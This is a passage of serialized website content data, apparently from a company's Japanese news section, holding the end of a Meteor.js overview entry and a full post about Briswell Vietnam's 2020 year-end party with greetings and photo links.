THANH","2025-03-31","Meteor（Meteor.js）は、Node.jsをベースにしたフルスタックJavaScriptフレームワークであり、Webおよびモバイルアプリケーションの迅速かつ効率的な開発を可能にします。クライアントとサーバー間のスムーズな統合を最適化した設計により、Meteorはコード共有プロセスを簡素化するだけでなく、リアルタイムデータのエクスペリエンスを向上させます。もし、迅速なアプリケーション開発のソリューションを探している場合、または最新のWeb技術に関する知識を広げたい場合は、この記事がMeteorについての概要と深い洞察を提供します。",{},"\u002Fja\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js",{"title":25068,"description":25810},"ja\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Fmeteor-logo-2.png","js2vcPBQiMKyLnQefzfU42rT_IkSInNJRVgLs01ctWc",{"id":25818,"title":25819,"body":25820,"category":2844,"created by":68,"date":25893,"description":25894,"extension":71,"meta":25895,"navigation":73,"path":25896,"sections":75,"seo":25897,"stem":25898,"thumbnail":25899,"__hash__":25900},"content_ja\u002Fja\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam.md","ブリスウェルベトナム　2020年　忘年会",{"type":8,"value":25821,"toc":25891},[25822,25825,25828,25831,25835,25839,25843,25846,25850,25853,25857,25861,25865,25869,25873,25877,25881,25885,25888],[11,25823,25824],{},"親愛なるみなさまへ",[11,25826,25827],{},"もうすぐ一年が過ぎようとしていて、新しい年がすぐそこにきています。　大晦日の祝いに何か計画を立てましたか？",[11,25829,25830],{},"この機会に\b、すばらしいブリスウェルベトナムメンバーが激動の一年を振り返るために小さいけど心地よい忘年会を開きます。",[530,25832],{"className":25833,"alt":64,"src":25834,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152650\u002F8054191C-167E-4B00-9B2E-3E2FED1E8302-1-2048x1536.jpg",[530,25836],{"className":25837,"alt":64,"src":25838,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152534\u002FC2BA8DD8-A527-4C7F-8A95-BD693D1FA782-2048x1536.jpg",[530,25840],{"className":25841,"alt":64,"src":25842,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152401\u002FC5BA29C7-9A88-4751-9357-9CDE0053B654-1024x751.jpg",[11,25844,25845],{},"これはみんなが集まる良い瞬間です。今年起きたことを共有し。次の年の計画を行い、意見交換し、労働の後の楽しい話をします。",[530,25847],{"className":25848,"alt":64,"src":25849,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152216\u002FIMG_1215-1024x738.jpg",[11,25851,25852],{},"その上、みんなさんが熱心にゲームへ参加し、楽しく笑い、もっとも実用的な役に立つプレゼントを会社から受けてとっていました。",[530,25854],{"className":25855,"alt":64,"src":25856,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152240\u002FIMG_1186-1024x768.jpg",[530,25858],{"className":25859,"alt":64,"src":25860,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152141\u002FIMG_1240-1024x791.jpg",[530,25862],{"className":25863,"alt":64,"src":25864,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155339\u002FIMG_1248-1024x768.jpg",[530,25866],{"className":25867,"alt":64,"src":25868,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155434\u002FIMG_1257-1024x768.jpg",[530,25870],{"className":25871,"alt":64,"src":25872,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155518\u002FIMG_1263-1024x771.jpg",[530,25874],{"className":25875,"alt":64,"src":25876,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155543\u002FIMG_1279-1141x1536.jpg",[530,25878],{"className":25879,"alt":64,"src":25880,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155617\u002FIMG_1282-1208x1536.jpg",[530,25882],{"className":25883,"alt":64,"src":25884,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155758\u002FIMG_8590-1024x768.jpg",[11,25886,25887],{},"新年が近づいています。ブリスウェルベトナムメンバーを代表して、みなさんがここにいてくれたことを感謝しております。",[11,25889,25890],{},"みなさんが幸せで、健康に、安全で、富んだ一年になりますよう。そして、すべての願いが叶いますように。",{"title":64,"searchDepth":65,"depth":65,"links":25892},[],"2021-02-05","親愛なるみなさまへもうすぐ一年が過ぎようとしていて、新しい年がすぐそこにきています。　大晦日の祝いに何か計画を立てましたか？この機会に、すばらしいブリスウェルベトナムメンバーが激動の一年を振り返るために小さいけど心地よい忘年会を開きます。",{},"\u002Fja\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam",{"title":25819,"description":25894},"ja\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05150944\u002FCover.png","EIXKm9c8GXKWZJdszDUVwFOmQtxzL39USj_I9q8uDss",1781934446127]